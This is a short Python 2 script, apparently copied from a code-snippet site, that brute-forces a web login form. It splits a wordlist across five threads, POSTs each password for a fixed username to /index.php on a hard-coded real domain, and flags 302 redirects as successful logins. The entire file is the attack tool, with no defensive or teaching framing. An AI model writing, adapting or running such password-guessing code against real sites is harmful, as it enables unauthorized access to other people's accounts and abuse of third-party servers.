- #!/usr/bin/env python
- #-*-coding=utf-8-*-
- #fuck web表单password
- import threading
- import httplib
- import urllib
- class MyThread(threading.Thread):
- def __init__(self, data):
- threading.Thread.__init__(self)
- self.lines = data
- def run(self):
- for password in self.lines:
- try:
- params = urllib.urlencode({'username':'username', 'password':password.rstrip()})
- headers = {"Content-type":"application/x-www-form-urlencoded", "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}
- httpClient = httplib.HTTPConnection("www.baidu.com", 80, timeout=30)
- httpClient.request("POST", "/index.php", params, headers)
- response = httpClient.getresponse()
- # print response.status
- # print response.reason
- # print response.read()
- # print params, response.status, response.reason
- if response.status == 302:
- headers = response.getheaders()
- #print headers[1]
- print self.name, params, response.status, response.reason ,headers[1]
- except Exception, e:
- print e
- finally:
- if httpClient:
- httpClient.close()
- if __name__ == "__main__":
- file = open('wordlist.txt')
- lines = []
- for line in file:
- lines.append(line)
- file.close()
- n = 5 #默认五个线程
- print len(lines)
- block = len(lines)/n
- for i in range(0, n):
- if i == n:
- data = lines[block*i:]
- else:
- data = lines[i*block:(i+1)*block]
- thread = MyThread(data)
- thread.start()
- #该片段来自于http://www.codesnippet.cn/detail/081120137002.html
来源: http://www.codesnippet.cn/detail/081120137002.html